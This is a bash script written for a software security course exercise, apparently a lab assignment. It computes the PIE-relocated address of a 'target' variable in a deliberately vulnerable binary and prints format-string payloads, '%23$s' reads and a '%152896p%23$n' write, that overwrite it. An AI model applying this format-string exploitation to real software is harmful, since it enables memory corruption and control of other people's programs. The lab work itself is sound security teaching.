#!/bin/bash
#
#

usage() {
    cat <<EOF
hack the vulnerable!

This script calculate for you all you need to hack the \`vulnerable-1_32-pie\`
TD6 part1 question 9 of software security course

OPTIONS
-h | --help         show this message
-a | --address      set the \`foo()\` return address if not set, script will
                    ask you to put it on stdin
-i | --show-info    display all informations abous processing addresses
EOF

}

error() {
    >&2 printf "\e[31mError\e[0m: %s\n" "$1"
}


info() {
  local message="$*"
  [[ -z $DEBUG || $DEBUG -ne 1 ]] && return 
  [ -z "$message" ] && return

  # On affiche les informations supplémentaires pour le débogage
  printf "\n\e[34mInfo\e[0m: %s\n" "$message"
}

process_args() {
    while :; do
        case $1 in
            -h|-\?|--help)
                usage
                exit 0
                ;;
            -a|--address)
                addr="$2"
                shift
                ;;
            -i|--show-information)
                DEBUG=1
                ;;
            *)
            break
        esac
        shift
    done
}

process_args "$@"
if [ -z "${addr:-}" ]
then
    printf "Enter the return address for foo(): "
    read -r addr
else
    info "I have the address: $addr"
fi
if [[ $addr =~ ^0x.*$ ]]
then
    addr=${addr:2:8}
    info "remove 0x on address begining $addr"
fi
if [[ ! $addr =~ ^[0-9a-fA-F]{8}$ ]] 
then 
    error "$addr is not a valid address"
    exit 10
fi

for e in "main" "target"
do
    v=$(objdump -D build/vulnerable-1_32-pie | grep "<$e>" | awk '{print $1}')
    printf -v "$e" "%s" "$v"
done
info "Get main() and target address with objdump
        *   main: $main
        * target: $target"

delta=$((16#$target - 16#$main))
info "Caclulate the difference between this two address: 
        * delta: $delta"

pie_main=${addr:0:6}${main:6:4}
info "get the main() address on our executable : get the 3 fist numbers of addr
      and the last one of the main address reported by \`objdump\`
        * main() address on pie process: $pie_main"

printf -v pie_target "%x" $((16#$pie_main + delta ))
info "Add the delta to main() address
        * \`target\` address on pie process: $pie_target"

printf -v get_target "\\\\\\\x%s" "${pie_target:6:2}" "${pie_target:4:2}" "${pie_target:2:2}" "${pie_target:0:2}"
info "Put the target address in the right order: 
        * address payload: $get_target"

printf "\nGet the Target :\n"
printf "%s %s\n" "$get_target" "%23\$s"

printf "\nModify the Target:\n"
printf "%s %s\n" "$get_target" "%23\$s"

printf "\nHack the Target:\n"
printf "%s%s\n" "$get_target" "%152896p%23\$n"
